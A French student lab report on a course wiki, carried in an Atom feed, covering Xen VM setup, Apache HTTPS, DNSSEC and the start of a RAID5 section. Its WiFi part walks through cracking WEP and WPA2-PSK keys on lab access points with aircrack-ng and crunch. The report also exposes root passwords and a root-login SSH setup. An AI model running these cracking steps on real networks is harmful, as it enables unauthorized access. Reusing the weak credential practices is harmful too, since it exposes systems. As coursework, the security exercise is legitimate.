<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr">
		<id>https://wiki-ima.plil.fr/mediawiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Fcavalie</id>
		<title>Wiki d'activités IMA - Contributions de l’utilisateur [fr]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki-ima.plil.fr/mediawiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Fcavalie"/>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php/Sp%C3%A9cial:Contributions/Fcavalie"/>
		<updated>2026-09-20T17:18:52Z</updated>
		<subtitle>Contributions de l’utilisateur</subtitle>
		<generator>MediaWiki 1.29.2</generator>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51635</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51635"/>
				<updated>2019-12-07T15:13:43Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est constitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture réseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Paramétrer des connections IPV6&lt;br /&gt;
* Attaquer un réseau WiFi&lt;br /&gt;
* Créer un système de stockage Raid5&lt;br /&gt;
* Crypter des fichiers&lt;br /&gt;
* Mettre en place un serveur Web sécurisé&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connexion à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Création de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''    -&amp;gt; ''glopglop''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Gestion des certificats====&lt;br /&gt;
&lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl &lt;br /&gt;
&lt;br /&gt;
 # openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
&lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate   pour pouvoir les utiliser dans notre fichier de configuration.&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre site est sécurisé, on peut afficher le certificat et voir le petit cadenas vert. On est Safe ! :D  &lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---sitesécurisé.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNSSEC avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
'''Installer bind9'''&lt;br /&gt;
&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
'''Génération des clés '''&lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
'''Signature de la zone'''&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Lister les interfaces sans fil disponibles'''&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
&lt;br /&gt;
On souhaite dédier notre clé wifi au sniffage du réseau sans fil. Pour cela, on la passe en mode &amp;lt;&amp;lt;moniteur&amp;gt;&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlx40a5ef0f679b     //wlx40a5ef0f679b est le nom de notre interface sans fil. Souvent le pc la renomme en wlan0mon ou autre standard mais cette fois,il ne l'a pas fait. Je ne sais pas pourquoi, mais ce n'est pas grave. &lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
&lt;br /&gt;
On peut alors sniffer tout ce qui se passe sur le canal 2&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep -c 2 wlx40a5ef0f679b &lt;br /&gt;
&lt;br /&gt;
Cela nous permet de récupérer le BSSID de notre cracotte01 &lt;br /&gt;
BSSID : 04:DA:D2:9C:50:50&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
&lt;br /&gt;
Puis on va récupérer toutes les données qui transitent sur ce canal en se concentrant uniquement sur les paquets échangés avec notre cracotte01.  &lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -c -2 --bssid 04:DA:D2:9C:50:50 -w data.txt wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Décryptage de la clé WEP'''&lt;br /&gt;
&lt;br /&gt;
Enfin, on ouvre un autre terminal dans lequel on lance la commande &lt;br /&gt;
 # aircrack-ng -b 04:DA:D2:9C:50:50 data*.cap &lt;br /&gt;
&lt;br /&gt;
Au bout d'une dizaine de minutes (au moins), on obtient la clé ! &lt;br /&gt;
 [[Fichier:Aircrack.png]]&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
'''RAID5, pourquoi?'''&lt;br /&gt;
On souhaite ensuite créer un RAID (Redundant Array of Inexpensive Disks) afin de rendre notre système de stockage plus robuste. On choisit de faire un RAID5, ce qui va permettre de répartir nos données sur plusieurs partitions et rendre l'accès à ces données plus rapide. &lt;br /&gt;
Nous décidons d'utiliser 3 disques. Ainsi, chaque disque sera composé d'une partie des données mais également d'un bloc destiné à la parité. Par conséquent, si l'un des disques tombe en panne, on pourra le reconstituer grâce aux 2 autres. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:RAID5.png]]&lt;br /&gt;
&lt;br /&gt;
'''Création des disques'''&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
On fait pointer le système de fichiers sur nos 3 disques. &lt;br /&gt;
&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
'''Mise à jour du fichier de config de la VM'''&lt;br /&gt;
&lt;br /&gt;
On met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
